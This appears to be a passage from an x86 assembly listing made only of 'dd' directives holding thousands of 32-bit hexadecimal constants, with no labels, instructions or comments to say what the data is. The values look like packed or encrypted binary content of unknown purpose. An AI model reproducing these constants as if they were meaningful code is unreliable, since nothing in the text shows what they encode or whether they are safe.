0BBF336D0h, 542CE416h, 0C45C4386h, 0F279C140h dd 300DFFA6h, 98B0D4D7h, 0A6AB882h, 0C3CC744Ah, 1FE17468h dd 0B4642A04h, 420E1EC7h, 2E9E023Dh, 0C7FBFCF4h, 0E0AC7EEAh dd 262084EBh, 3E353CBDh, 0E581C1E5h, 7303045Eh, 21777490h dd 0B22D8C86h, 9744E833h, 27FE07CBh, 0B4E2127Dh, 715B46A1h dd 0C7096031h, 744B0CB1h, 0DF6DC5D9h, 0FE8B2E8h, 43477AAh dd 53C67E1h, 3EAF65F2h, 0CFFB5F4h, 32D3FFEFh, 5730AA58h dd 7C367628h, 0CB057BFFh, 17843EB6h, 79AEE8D2h, 0DDC14BB2h dd 4E8A7B75h, 271BBA59h, 5F802ACAh, 2067C832h, 0C976163Ch dd 0D0489DF3h, 7BA1C664h, 0D22B5CAAh, 0E47CE13Ah, 0D6AFDD04h dd 48F569F9h, 5DEB3410h, 6908FE02h, 1F23028Ah, 7F93BD8Ch dd 524D3144h, 7973B86Eh, 4700B174h, 544C4FBFh, 0D073AD5Dh dd 2A6FCAD8h, 9E02B95Ah, 4ACBDB81h, 0E77B8949h, 0A7DB7491h dd 0FCBC359Ah, 0CACCAB52h, 0C1B8C593h, 49CE95F4h, 9FEC1BEh dd 846ECD87h, 321419F0h, 0DC28918Ah, 0F9324364h, 0ADF036FBh dd 0B95CE220h, 0E149B3CFh, 83F95F7Ah, 0B89C9E55h, 58653582h dd 0D5252642h, 12A846D5h, 0B32855A9h, 482D2870h, 0C57908B0h dd 0E95B1B98h, 78D44A81h, 42EDFA0Ch, 0BB328F47h, 3D7C5524h dd 0C8D070AAh, 0AFA5BA1h, 22D2F02Ch, 6B6D4116h, 98489884h dd 139BBD0Bh, 7C2CE176h, 0A740E4E4h, 0C2C1ECBh, 95ECDA65h dd 0A7F21DE4h, 0C0574A76h, 3C5017C8h, 0BE525DA4h, 2F64E51h dd 3CB65552h, 52EF1DEFh, 0A342C7CDh, 34413F07h, 564C3633h dd 61CD1888h, 81C1926h, 73691B88h, 7140CACCh, 0F4A64521h dd 0FF34E287h, 6C000B93h, 804DF2FAh, 0BA01FE92h, 8E1AAA31h dd 0A3D1B57Fh, 29727D4Ch, 0CCC67108h, 8F1652CDh, 26B0D951h dd 0B5E2C1h, 0D66BF66Dh, 0FCA8703Fh, 0D84C003Ch, 8A9D1DBEh dd 4BF3E53Ah, 3E53F52Fh, 7DC645F0h, 0F67ABE4h, 0E55DF499h dd 0A706C5CFh, 0DB8FE848h, 9DFA7C55h, 0FB15C1Ch, 0C4D29505h dd 0A05B1881h, 7F5B2132h, 6CBEBD16h, 0D4DDD07Dh, 0E0DF029Fh dd 5BACBF72h, 447387E5h, 4AF47969h, 3AB9CDh, 0E474D831h dd 415B18D6h, 0E54F2DFDh, 0F643A88Ch, 8207B16Bh, 0FCA8427Dh dd 38C1C101h, 612DF848h, 4D921D12h, 0AF453BA7h, 1AB3EA85h dd 0A260689h, 0B2BD8E35h, 0D0057B2h, 0EC560081h, 0A4B3ECB9h dd 306C6C66h, 8ADF6B33h, 49DD066Dh, 3BBC6B4Ch, 1A3F6435h dd 78CE9374h, 0FA666E3Ch, 0E20B0284h, 3EC30B94h, 0FBECFB68h dd 0F6FA97C8h, 0CB919105h, 0FBE47ECFh, 42077DEEh, 0B3792BDh dd 9CD67085h, 59210F10h, 2FAAC0D8h, 0F31408Ah, 2A7EFD35h dd 6D4173Ah, 0FB3A5692h, 0D294F870h, 42C5F127h, 0AA30311Eh dd 7F3C2853h, 1D74DF70h, 45560B84h, 5CEBD7EEh, 8A4C03C9h dd 34E05199h, 88111D09h, 6616648Bh, 805592E8h, 0DD661D63h dd 77FD1BFEh, 15BA104Ah, 203C9DFEh, 67466805h, 0D96A2F8Ah dd 0C8F2A5BEh, 0FDFF66F8h, 63CCCAEBh, 0CF887504h, 0F5057E9Dh dd 7C8379FCh, 0FF2C063Fh, 3E4D1F60h, 6EEC4FFAh, 0DB666E84h dd 54581DFCh, 0AA9DB4BDh, 0DF1FEF0Bh, 0C2392396h, 0D14F5918h dd 69B8071Bh, 933BE1CBh, 0D8A32ED4h, 0FEA5781Bh, 0D4C73A57h dd 0C64CB3E7h, 240C7683h, 0D7ECC936h, 0D6923D2Fh, 0E816E408h dd 49586693h, 0B33988Ah, 44FF969h, 7ED8AB18h, 7F078B3Eh dd 18D0A51Eh, 1F30B381h, 0BCF75894h, 3CF4C007h, 0E9EFB7C0h dd 0BD85B77Ah, 31C13E5Fh, 0FA8E02B6h, 0D74F5AB1h, 0F033B063h dd 0F53118C9h, 0CCDA75EEh, 0FBA57F9Ah, 70267783h, 0C00D070h dd 0F36F1E80h, 7E404934h, 0F9ED457Fh, 0C4065E02h, 52214FC4h dd 373564F6h, 9176FA5h, 160D03DEh, 8DD6A71Bh, 0C2AF639Bh dd 0AC9DA035h, 0C4BEF32Eh, 4E58ABEDh, 82B2E956h, 38277D9Eh dd 9D65C7C2h, 51E422EAh, 501801B2h, 847B7494h, 16041F7Dh dd 0E4CFC6F5h, 0ACB469FCh, 0AEF7AAE4h, 3140B56Dh, 58E4272Fh dd 9FF53E02h, 16B157E4h, 0FF98202Dh, 2CC48BFCh, 2A8F7BFEh dd 1A2064A3h, 0C76A5B44h, 7AC8AB6Bh, 0C8AF3E65h, 99FC4AA0h dd 0FA386FB4h, 2822C2D1h, 0F6A72CBCh, 6A6F5D87h, 0F9F61979h dd 0DD8D71F5h, 0CFF3AECBh, 4E9D873h, 7F489D9Ch, 720A4861h dd 44C90D6Ch, 55A9D6Bh, 0CF96ACE0h, 0CF36EC85h, 516AF941h dd 9404C457h, 0E375C764h, 0CC437466h, 6F4051E5h, 0C62306A7h dd 750F428Fh, 614A06E3h, 8D8B1B8Dh, 103D1300h, 953E28Dh dd 63D410FCh, 0B064F50Ch, 6C64F44Ch, 169BB3C0h, 0A0E31C59h dd 651D6B2Ah, 0E04602Eh, 410E2AF0h, 8683DB8Ah, 9B086780h dd 44B0B04Bh, 0F644D5FFh, 7CEDD8B5h, 380970F9h, 0D0F371CBh dd 9EED63BBh, 9E061458h, 383FF389h, 98199A4h, 0E4878375h dd 0EA9C4732h, 1B24B1E4h, 8053DAF0h, 2F3DCDCBh, 781D9915h dd 510015F7h, 0F1E12700h, 0A2F1DD2Ah, 0EE518A43h, 0D7206096h dd 7E5B2A9Ch, 88197D16h, 2CE0418Ch, 76DA0981h, 0B5A7A974h dd 0EAD66C6Dh, 0CD27B14Eh, 0CECC4118h, 0D8014605h, 37D6D4C4h dd 0B5D16D7Ah, 0F005F94Bh, 0EAEF9B7Eh, 3A71A1D9h, 0B530C1E4h dd 68AF69B9h, 2314B633h, 0D69546A7h, 0C79450E0h, 0B48CBEC0h dd 447C8151h, 0FC2864C2h, 3BF82C61h, 6837C6D6h, 0D9D91188h dd 0A4E24370h, 909367E6h, 7D569E34h, 0E8FD1DF8h, 0B7E3F18Bh dd 0CAA77528h, 1A4AF6C8h, 3EC571E4h, 22E36185h, 0CC164D08h dd 871CB1B2h, 0B7D2362Bh, 0E71FF967h, 94F90896h, 0B95928EBh dd 0FAA5E106h, 76864A96h, 42B78D1Ah, 1AD0D7A4h, 3D1593Dh dd 9899444Eh, 0C8CE992Ah, 263198AAh, 9E6CC108h, 2B890CFh dd 29E4B65Bh, 63302CEEh, 5A4BA8BBh, 4C8637D5h, 0DF184638h dd 0E57995B6h, 0AC7319A8h, 0C4B91E4Ch, 0A82CCD7Fh, 69CFAE92h dd 9A3FF9F4h, 0A3CDE877h, 9FCC7D1h, 0CF8ED297h, 97A00C8h dd 0F6F70088h, 9F110DCCh, 0EBFE207Fh, 0EDFEF4CCh, 310EB2C9h dd 2AB2BAD7h, 56CF6C9Bh, 2F42AD8Fh, 6B1A9571h, 0E3D8F539h dd 25F4B6BFh, 3A1ADB39h, 0BAD174F0h, 88626DDDh, 3B7931C6h dd 8EAE550Dh, 684470FEh, 148EEF2Dh, 0DD4CB346h, 388FEF86h dd 52D0AFAAh, 0ADBD51F4h, 0DE182E08h, 77850BC8h, 26B49486h dd 0E0EA8440h, 2BF3142Ch, 0AEA8FB9Ah, 9BAD40E7h, 5B4C7CFBh dd 0F276D78Fh, 35A860E7h, 2740071Dh, 7FEBB315h, 8E6E2BABh dd 602CB78Dh, 9F2584D8h, 0DE312A0Eh, 39FCC325h, 159BB53Dh dd 0DB7A4384h, 0EEEC58EEh dd 81DD73FCh, 9EFC1FD8h, 2950B0Bh, 3BEB2B86h, 1E3F951Eh dd 92183CD9h, 43110E66h, 4042795h, 5A2F1804h, 8DFF7F70h dd 592876C6h, 212065F7h, 0BDD725B6h, 252D0FABh, 7BE27AB1h dd 0A5D8756Eh, 0BB332C38h, 420FF0Fh, 0CE31BEB8h, 0DD40A084h dd 0B7314862h, 0FB4C651Bh, 5F8AE3B1h, 0E3046F72h, 7854C5B6h dd 9BDD6B17h, 8040654Bh, 57330B35h, 0ED2C5141h, 0D4E4DEA1h dd 0B63894AEh, 6552D523h, 33B5BF04h, 7CE5AF8Ch, 0E038A120h dd 0FC146453h, 428DD184h, 44B5598Dh, 0B2C99173h, 87A1DA0h dd 3734603Eh, 7A7B1C3Ch, 34A06C15h, 0AE959E0h, 0F51803ADh dd 29F68A84h, 0E6135751h, 2BB022B7h, 3F9A28D4h, 0DB893BB7h dd 0D8C8E7DDh, 164069E0h, 94152BA4h, 7D055626h, 0CB308C3Fh dd 2BE2B2DFh, 0E8345A79h, 0EAC5524h, 0C2419375h, 0B05CB3F4h dd 940B14C8h, 327B6384h, 70147FCEh, 32E2F31h, 722A93Eh dd 80B22AE6h, 37E441B7h, 0BA97C757h, 1447D983h, 0B4B5C654h dd 0A00A5517h, 2BC404A4h, 7D4F49B1h, 0F8773630h, 0A256869h dd 634C4B3Dh, 0C0B057B2h, 0FF26661h, 0D240BF10h, 131066EDh dd 462EC6AEh, 0B7D55846h, 0A78D0B26h, 62B62C8Eh, 0ECAF736Fh dd 75BCA964h, 0F21F6AFFh, 1C8284A6h, 62F0C0EBh, 0D8C76C6Fh dd 0C7062901h, 0C0000866h, 72F47C18h, 0F0A72085h, 1B647091h dd 90B8774h, 4CC7B43Fh, 68F3B161h, 90F45F84h, 0DCCCEA94h dd 0D4278A05h, 23B2204Fh, 8F88730Bh, 12CD24DEh, 8D5C656Fh dd 0BC8C433Eh, 0CB4CA73Ah, 3535E37Bh, 0C073998Fh, 0B0F9BB6Bh dd 0B107374Ch, 1DCA4324h, 0DDF3563Eh, 0B85736C4h, 39EC67F0h dd 8E08FD78h, 7FF44D0Ah, 89B4E3C8h, 0A0F49F81h, 5E8F3928h dd 4A5AE0CCh, 0FF2EB1FCh, 0FD69AC8h, 1E92018Fh, 896B757Bh dd 377BABCBh, 45377D1Ch, 0D52CBA30h, 0EB691C7Ch, 0DF059529h dd 352049E4h, 80032CACh, 0D84444E2h, 0FB4C63Eh, 61F09F5Bh dd 0AA66685h, 910B6170h, 0BC5CF2C8h, 3D6985CFh, 0B96EE835h dd 7CE558E9h, 7501BD15h, 58DBE246h, 5900A845h, 0CE35BDEEh dd 0CF1C336Dh, 22EBDD9Dh, 3E7F9FAEh, 0E4AE87BDh, 0CFAAAA83h dd 82E47566h, 0D0D173D6h, 6B1B3984h, 0F5F46CF8h, 0EA73B3F1h dd 0FFD90E2h, 94805DD5h, 0F94FA2ACh, 8C5108F1h, 1DB9E0EDh dd 0D15AD8E5h, 0DEC62BFh, 0E71B8425h, 77AF2EFCh, 0AC0035F1h dd 0A3C4B1EEh, 9CFC9F1Fh, 9A05AE1Ch, 0D7292DF8h, 7C57ECEBh dd 256925BAh, 0AE1D1DFCh, 3CCEC338h, 3D0D46C5h, 0B1560127h dd 2DAF7B8Eh, 76F0C02h, 3888698h, 24DCFB8Eh, 60D9B8F6h dd 8072F2CBh, 0F8863618h, 2A70DCFCh, 1971B12Ch, 0F2A6771h dd 894946FEh, 63D47BCEh, 747C0D81h, 0BFFE36B6h, 1E644848h dd 74B05C00h, 5AEBB8F8h, 0D3575336h, 25E04BC9h, 483967DDh dd 0CCB2BA1Ah, 0CB2B2076h, 5A338CAEh, 5A1D9ACh, 24B81B7Eh dd 0F67145AEh, 880B75DAh, 5B072692h, 0C00146E3h, 0DD3E70DBh dd 0E5E45F56h, 3708F77Ch, 0D418C353h, 30B52C8Bh, 438AD4Eh dd 0D2B169A6h, 60AD6E3Ch, 3AF84727h, 2BB5D743h, 51806D08h dd 5B018D3Fh, 4E2E916Dh, 0F6DC41D9h, 0F2734049h, 0D3049863h dd 813AE417h, 92ECC1h, 8CEFE19Fh, 0CB01F1C1h, 3734D26Dh dd 0D24D98AFh, 4497E856h, 482B2E17h, 99CE604Eh, 0CE4C69EBh dd 63D45CF2h, 0F541B9A8h, 0DBD4C282h, 2D0C2E2Dh, 0EB8D0AF5h dd 84C00C8h, 0B754538Dh, 0BF112A7Eh, 64C7007h, 59AB5029h dd 86753F17h, 2AEAA45Ch, 820693DAh, 540FA120h, 96056CEEh dd 12FC399h, 0EF69800Ch, 83D435Fh, 843A4B2Fh, 0C67499D0h dd 5B34A23Ch, 7F1920E2h, 3B2A06A6h, 78AD1708h, 0ABC2349Fh dd 0CBC53B7Ah, 0DD9884A1h, 639FF631h, 8AD4765Ch, 0C86C4687h dd 0C876A50Eh, 0EEF7CE67h, 0D9DECF15h, 0C03242BAh, 876F482h dd 34AEC33Ch, 0B6754FE4h, 0E1B9A939h, 4BFCAC8Ch, 0D4762577h dd 892175F2h, 90F74CA4h, 89E01FD4h, 1CE0B9CFh, 0C072371Fh dd 3CD90Ch, 0B2622810h, 0D5F4E2BBh, 846DFD1Ch, 68672030h dd 6F370D9Ch, 0F2EF95D1h, 0C530F8DEh, 0DC22713Bh, 53982E83h dd 0B5804ED8h, 2CF09505h, 87806F79h, 12CB7C5h, 7C2F84D8h dd 2A876138h, 0B6792F21h, 0C57D4691h, 7DFCBE18h, 0EA7852FEh dd 0EF2FE593h, 0C951B7B5h, 0D1066CFDh, 3B1F80BCh, 91EC7BFDh dd 53113854h, 8D43432Fh, 7E94BE34h, 439190FAh, 34D066DFh dd 0BC89702Bh, 0C66DF1D7h, 20A70E7Ah, 0C2E04406h, 600B92CBh dd 0A4E5FCECh, 9E0936EFh, 6F017FF0h, 10993BF3h, 0D819AA8Bh dd 0F457B538h, 918C765Dh, 0E1A0B499h, 9C298EF7h, 72FF386Fh dd 5737A511h, 0E71FDB79h, 2B540022h, 0C4FDCDB1h, 0A7B8B6CDh dd 0BE4858FDh, 0C29804F3h, 8575DAE4h, 817A04D0h, 77A26EE0h dd 7B238AD4h, 0D2C291C8h, 9376AD7Ah, 399E1228h, 0EF1B7DCh dd 5FC9BD8Fh, 184B076Bh, 3EF176B4h, 65E2ADB2h, 9CAEB3CFh dd 6C55A327h, 808575F2h, 0F6BE9068h, 241F6EB7h, 0CD68F88Dh dd 0AE5EF11Dh, 2208FC79h, 0F654C07Ah, 0B0E4C524h, 0F4BDEAE0h dd 16999BCCh, 0EB75CCABh, 0F381AA35h, 0CBE96ED5h, 0F1787868h dd 35293DE0h, 0EB183772h, 82E721C4h, 2A693C68h, 0EE7B6C06h dd 422965F7h, 387123F2h, 0D338B0A8h, 3806FEA9h, 0DCDAB7D4h dd 0D6713F61h, 0D083B4C2h, 2FD01402h, 826370C2h, 0C3285925h dd 62D68F2Bh, 4ED16D0Dh, 6B75B59h, 3132AF95h, 0F00A98B6h dd 0D70A3A29h, 0CE1BAC0Ah, 0F45DB5A1h, 8232E18Dh, 782849C4h dd 24666D68h, 9B1754C8h, 8A3165A6h, 0C708A7A6h, 9C17E426h dd 0DED21531h, 8AA6470Ch, 0CEA958F2h, 0E546D4BDh, 0DE53679h dd 0D41C9C29h, 0BD5D7DEEh, 0C5531917h, 28B47CF7h, 20542D8Dh dd 0D4733593h, 0DA894057h, 23CC97Ch, 95A4FF78h, 0BB3F3A4Bh dd 0DFC93A66h, 2C592D25h, 0EC04F137h, 86BC90FFh, 8A1C650Ah dd 0BE76C125h, 0D430A5CEh, 0A6F535FDh, 3E2D83B4h, 0C20B9DBFh dd 0D7333DD8h, 85FC4C74h, 0BF3814EFh, 0E5855AC3h, 7B2878A2h dd 0CAEFA635h, 276B3490h, 6063A7A8h, 0D72905ABh, 0CBC6C577h dd 6579DA4h, 8602343Ch, 981EB182h, 5BF0C136h, 5034CBDCh dd 0CB9A17BCh, 6D8D35DEh, 846F12Ah, 722C06FFh, 5E803F31h dd 30636968h, 31340EFDh, 0EB63C3EEh, 37720FAAh, 64F89C6Ch dd 7FB13D3Ch, 3337B5C8h, 0B046692h, 9F1601F8h, 255B3CD5h dd 0CD46C226h, 9EBE3ADh, 64B48BABh, 0D9E17EDAh, 7739325Ah dd 0CD0604C7h, 26974922h, 31C080D2h, 0DA15C9A1h, 0DBF4E967h dd 4D716B84h, 0D98061FBh, 10EFA83Ah, 513DE8F2h, 3F2074EEh dd 0B71EFA37h, 5B4CB4CFh, 0B8CA35A3h, 1BAE0F75h, 0F40C8614h dd 0BC885CD5h, 0BBF16061h, 9B5FC07Fh, 0B874E57Bh, 0D6FE8092h dd 85A34240h, 0DB4F2CABh, 97BD2C81h, 5F52A24Ah, 148A0727h dd 6B73D4A4h, 0D007F8AAh, 8F27DEFh, 0EC70B6A8h, 9C2D32D8h dd 718A72Dh, 0B7CEB6Dh, 93468F5h, 0AFCC7FBh, 52430DAAh dd 0F14C06E6h, 0A38C6EA5h, 0CB9BAC7Bh, 449F1818h, 0FEECA58Ch dd 0F052D7ACh, 0D406B2A8h, 48223D28h, 37B45DFFh, 9C77785Eh dd 0B873C094h, 0BF055271h, 3A6F93E4h, 985B9018h, 0B121BFCEh dd 17CDC875h, 7BC58706h, 34380C39h, 0C5689B5Eh, 28065CA8h dd 6FE302A4h, 7CCBC244h, 483C105Dh, 0F667EEE8h, 29E256CEh dd 0A60E9C9h, 4CB4A2BBh, 1227E906h, 249C5831h, 5A982082h dd 84E0E4ACh, 0FC7DFD92h dd 7D27D9D2h, 0FFB540F4h, 0F54C03EBh, 928F1CBCh, 0D545117Dh dd 6227E126h, 500AC40h, 21E4675h, 0D711D742h, 0ECD3CF28h dd 212FFFA9h, 4313A84h, 2735753Eh, 0DC91BEA4h, 7B4D4C6h dd 5B9FD13Ch, 86ECC7DCh, 4D1B6A92h, 0F86FBDA9h, 60D379E7h dd 81CD483Ch, 0DB45C8A5h, 0E0660ABCh, 973F0AA3h, 7F5B3855h dd 3A699FB4h, 840DD492h, 0F8DD8392h, 8C0D453Eh, 4A95E786h dd 0D9ABAA13h, 0C6A1D15Eh, 0DB2ED18Eh, 38CE2C39h, 133DBB5Fh dd 0C7A64A5Bh, 0D5D1C4D1h, 0A7FA37EDh, 0BD01D9A8h, 0EFFBB8A8h dd 50588A39h, 382E1EEBh, 5E7423DEh, 0EC214796h, 0BD569D7Ch dd 576E9259h, 0E4F8E8C7h, 0ACB9F095h, 0B4CBCE21h, 0F669C6E4h dd 8614013Bh, 3BA64A92h, 9C3C0AA8h, 0A82CB575h, 0B70085A6h dd 41745614h, 86391E4h, 1A657BCFh, 3AE43982h, 0DA1AC58Dh dd 0D5FB3F21h, 0D5593FFAh, 5AD53A38h, 0AC7683A5h, 416B76CCh dd 862B1E4h, 4F641BCCh, 535274B8h, 866047FCh, 0B92366F0h dd 0C963B82Eh, 709A50E4h, 1A995DC9h, 8A32C1F0h, 0F2349D52h dd 0C54AC32Eh, 965D3F3Fh, 96957EEDh, 0C0957A53h, 80456AA6h dd 2D956AA4h, 8A346F50h, 3A74DCA9h, 0BD9EC152h, 0B91A8112h dd 0BFE32E10h, 0BFE7E350h, 0B3E6AE94h, 0C6630F8Fh, 0D29F6F9Fh dd 5C66D6FCh, 0E099465Ch, 789E41A6h, 57CCC70Ah, 0A485C92Eh dd 91A07A50h, 3A8198A5h, 0B289C157h, 0B0E6B804h, 0BEE39682h dd 0C264868Fh, 0C760485Fh, 0C698E75Fh, 0A5C4F958h, 1C613D25h dd 2B6099ADh, 0F6B659ADh, 0F62CB561h, 0A1C00AA9h, 5817C154h dd 37CFCA5h, 0D65A42AAh, 56C5CD60h, 0D6E74968h, 14003DE9h dd 0C25AC309h, 956D14F2h, 3B61143Ch, 4DF2C892h, 0CA5960F1h dd 65A0AA23h, 2CFC38A9h, 0C528B168h, 4165BE24h, 0CB721FDEh dd 689CC1FBh, 60715AB7h, 0C0313F21h, 7731FBC8h, 76D158D5h dd 0A6405165h, 0B777952Dh, 57885D68h, 0C7690E7Eh, 0EC4C7DCCh dd 85E00B51h, 0F915C8AEh, 6E3D0AA5h, 0E9291455h, 0DDAAC314h dd 0CB3ED20Bh, 72CB7688h, 0CD06B0E6h, 93E451E1h, 65B0C02Eh dd 87FC694Dh, 5B9F57C6h, 0FDA73ACBh, 9DD95FA9h, 0CB386DF8h dd 0CBDDAA6Eh, 89452B36h, 449308CBh, 0F6675DFCh, 0B2076340h dd 0B9FC4192h, 76534890h, 0C5F2FDAEh, 0E55AC3F3h, 0CF72C3ACh dd 0BB92CFD2h, 0B5001040h, 0B9210592h, 450B0B51h, 0E064C491h dd 6AAC0AA8h, 0EE652C0Dh, 7413577h, 0CC91491Fh, 0C43B14D8h dd 0D360C5D0h, 0BB37A65Bh, 6C611409h, 0C7281452h, 3488CC19h dd 2A4DC529h, 0AB33243Ch, 0DBAAE4E0h, 792CD018h, 0A9C0C758h dd 0A8D066F8h, 0BA91B7E4h, 0D430D108h, 2DC6C1F3h, 7C9351ACh dd 0B1F7C6B5h, 0ABE07DF5h, 419E4CB4h, 699967E4h, 0C993E8AEh dd 16905BE4h, 909756CFh, 0F7968EC9h, 69908F64h, 8F9DDB64h dd 2497A90Eh, 6CA8CD32h, 0CA2CFA3Ah, 0AF1A2752h, 244650DFh dd 0FCABC9FCh, 2DFCCDCEh, 44C68052h, 3C6B4A53h, 0AA8AA752h dd 409FF6DCh, 0FC93DDC9h, 4EF4CE69h, 6407F955h, 0AFA27D51h dd 0CE4E843Fh, 0FC97F6C9h, 0BA73CB66h, 0FF33D70Bh, 757CC857h dd 2B2CF85Dh, 3B66905Eh, 2C7053h, 805AB56h, 0A200295Ah dd 95AD0A5Ah, 2BAC9059h, 896D885Dh, 3254E48Bh, 0B05A4656h dd 0F55F6404h, 0A60A7530h, 4E0D592h, 0A35936D2h, 0A3B754BDh dd 707CC48Dh, 349ACE09h, 0B0747D3Bh, 0B2C8FD13h, 2225F61Bh dd 0B2A4F1FCh, 0F29CCFFCh, 0B05D471Fh, 0A09F467Fh, 0AD9D4237h dd 0AF580526h, 0C25D2C65h, 0B5396B9Eh, 0D3BCDB5h, 4DCD503h dd 0EC26C806h, 0EDD20B41h, 487B2CCh, 0B89B75FCh, 940FDEACh dd 0D2676984h, 0C2131CEEh, 0EC0965F3h, 0BC4D7FBCh, 0D73A3B2Eh dd 1F949DE9h, 0B04C852Fh, 934EE95h, 428544A9h, 94B36F58h dd 4EEFA436h, 7A552F51h, 0CC2E0869h, 9F09FEF6h, 0D90258B6h dd 0C462FC00h, 7331DF7h, 46F37546h, 0FE4C6DFCh, 0CF4446A4h dd 788E1284h, 0C92C5825h, 3AC72284h, 9F315490h, 0C592F7CFh dd 9F30C4DFh, 802DDAE0h, 0C7376C91h, 7C938384h, 9F3724A3h dd 3FA0D003h, 9F357F79h, 0F9B55486h, 6B4C40B0h, 0F2776444h dd 9F0E7AF4h, 6BF7A514h, 9F2A01FCh, 0CA06D705h, 954C78D4h dd 0E89B453Ch, 0C0F783E4h, 0EB86713Ch, 0FF2FFCFCh, 79AE9488h dd 0C2E1749Eh, 399E15E4h, 0FC34551Ch, 0A6E6F184h, 0FC9F42C9h dd 3A950184h, 0FE151A33h, 0A2B46784h, 0C73A9AE2h, 0E94C02AEh dd 0D00DE574h, 0DD21788Fh, 2CC45184h, 3CE76934h, 0A3B57138h dd 0D39A74FCh, 6E4C066Eh, 24E2B54Bh, 0C74C07FCh, 1635D62Eh dd 9C60E8EFh, 6E0DA77h, 6C15DED2h, 0C73FDF4Ch, 805CDD5Ah dd 4852045Dh, 0C9E2847Ch, 76F402A5h, 31673268h, 566B2A12h dd 9DFACF6Ch, 3D343727h, 9F2DC5DDh, 0F472DA41h, 317B1617h dd 0C5E4A5CEh, 6A608030h, 0A06F7506h, 0F91BFB9Eh, 0A9CC07A5h dd 4C031CD8h, 0B8353A41h, 71C4084h, 68F580D3h, 8527CBF8h dd 80C387h, 3548E54Ah, 9482ED3Dh, 0FC91798Fh, 2CAD80D2h dd 3700EB46h, 5EE91FF8h, 0F5311728h, 18C3D1DAh, 0D037717Ch dd 0C8A04942h, 4D8DEC6Ch, 0FC312148h, 3460D13Fh, 0A3E897F8h dd 0FB311688h, 0F878516Fh, 0A35885F8h, 0C840615Fh, 478E8AEBh dd 23306528h, 6DC0DDBFh, 5E8A04F8h, 0C86C8109h, 0C43478FBh dd 0F9B010CDh, 4294E848h, 71088E58h, 0C8DE3A4Ah, 1B8A1BEFh dd 0C2313C9Dh, 0C7BAE38Ah, 1050712Ch, 0C8565A5Dh, 345FD0E2h dd 89F77E6h, 5C811DEBh, 0CB0495BDh, 478ED5C2h, 6D257117h dd 978B9649h, 5BD05A8Ch, 0F4308FBDh, 0E7D7E2FBh, 0F82D70A4h dd 0C72B4245h, 5E5177F8h, 0CB045A62h, 0EB8320C5h, 3EF25B0Fh dd 0CF205E3Ch, 0A1831DF6h, 0C08992h, 4A80DF5Ch, 5831CE6Ch dd 2AC164B7h, 0E30C5D42h, 8E82D922h, 0E78612A8h, 9582E4B1h dd 0CB865C9h, 0CFEFEA62h, 306C5584h, 0A57A1D6Eh, 9ED8A592h dd 0D4823817h, 4D233D95h, 70FB6553h, 59898CCAh, 3E6C12CCh dd 5395E867h, 161C37FFh, 9CE69E12h, 7197FC29h, 2B42829Fh dd 0D67BF2CCh, 0D7079C4Ah, 9E631413h, 97B365F9h, 0FBCE23F2h dd 0FE5D88CCh, 0F685118Fh, 0D9191FDDh, 0F2053689h, 8B694299h dd 309B5ACCh, 0D476C60Ah, 96A31191h, 0F09A6558h, 380164Ah dd 0BE741ACCh, 0B104F6D8h, 7B502290h, 475E6521h, 0D4D751EAh dd 0EA02DCADh, 0ED04BE09h, 0A10437Dh, 1E8CCACCh, 0D4EF4199h dd 20A2F596h, 0F001778Eh, 8ABEE325h, 0BE70AACCh, 0D481C717h dd 5242BD93h, 8EFB655Eh, 59868CEAh, 0DECC08CCh, 1604F776h dd 7ADD42BAh, 1F59654Bh, 0D4D6EF0Ah, 6DA3330Dh, 0F004E00Eh dd 0AADE305h, 0D0945446h, 82061BDDh, 34814684h, 52429D93h dd 90FB65DEh, 58068CEAh, 0DE6C08CCh, 16047776h, 0FADD42B0h dd 0BF59654Bh, 0CA56F20Ah, 7E400A90h, 260526A3h, 8A824882h dd 9B5A64BEh, 0D4673BAAh, 99191BDDh, 6B34DC5Eh, 0F4B477F0h dd 220DDC2Eh, 0D2A5D9FCh, 96FB657Eh, 59A68C2Ah, 1E4C08CCh dd 16049776h, 1ADD82B2h, 9F59654Bh, 0D4F6EF4Ah, 6D632B0Dh dd 0F004E02Eh, 2ABF2285h, 0FE50AACCh, 0D4816717h, 4D02BDEDh dd 0E8FB65FEh, 0D46A8E2Ah, 193B0875h, 0F68D17FEh, 81A2D1EDh dd 0ED0B648Eh, 8A76E3D0h, 0BE800ACCh, 2604C6A3h, 0AA424896h dd 0AB5B64BEh, 5C86C1EAh, 4E25D574h, 7F0F76EDh, 12D65ECh dd 895233Eh, 0AC2D786Bh, 5CD1A7DCh, 68752013h, 265B0463h dd 50087DCCh, 408794B0h dd 6A35062Eh, 69EA7770h, 59C2F80Eh, 329742E3h, 9B6BACD2h dd 0A5E8FA7Ch, 0D7BA458Fh, 5493E98Eh, 0BB256D64h, 537764EBh dd 0BA4EFBFFh, 0BA31B50Bh, 589866FCh, 0C497703Ch, 19F4EC1Fh dd 1340049h, 4E67A60Ch, 98B9D580h, 0E0ADC6F9h, 53E28C14h dd 0BCD49E4Bh, 0B7352A94h, 12437CBCh, 84B6A45Ch, 385769E4h dd 18F7FB76h, 9B9745FCh, 0D0127547h, 0C4FB0538h, 529D804Eh dd 195962ACh, 0B4AD135Ch, 0B8A9EB33h, 0E1152B86h, 4BBE46FCh dd 4D17C76Ch, 4D0764D0h, 6D7C7285h, 0D41913E7h, 48D3EF97h dd 0C54EC553h, 6B45EC69h, 1A346B77h, 0E0F31677h, 0D65FBCD0h dd 0C5D94CCFh, 3718CF81h, 0D6BCC28Fh, 0E2BCD3FFh, 64BB7EF8h dd 98F26642h, 236C8F2Ah, 4F42FD33h, 41BC329Ch, 260F0EB6h dd 34DFF271h, 44FFB2BFh, 48FBA4A7h, 4FF263E8h, 704936ECh dd 0C4F6FA75h, 41B30E4Ch, 923564A4h, 57647753h, 267961D5h dd 4EB78C8Ch, 7B672571h, 6ED96B7Ah, 1BCDEA65h, 31B2AFAEh dd 0E0B5E524h, 45EE1D40h, 0ED2FEB24h, 8CE20977h, 71B2E8FDh dd 0D52071Fh, 0D551C175h, 0A8C6E662h, 14B923ABh, 6F22C276h dd 3A0D8A7Bh, 7C5AC51Fh, 4184AE4Ch, 0BEB33D02h, 51B0386Dh dd 3FB89A2Eh, 18C6EAD6h, 50F71535h, 3A66B251h, 1993AE70h dd 0CF34BEDEh, 0D530622Bh, 0CFD8D6A9h, 497345C0h, 0D59D3554h dd 7E6F168h, 0AFBFD908h, 0B8724733h, 7492EE77h, 54CBFFA7h dd 0DA348CFBh, 0DD7DE4ACh, 389DEE07h, 679A736Ch, 0C456F76Ch dd 0F886569Fh, 99731750h, 0B4864E10h, 0C5056447h, 1D33A9DCh dd 5439FDCCh, 482560BAh, 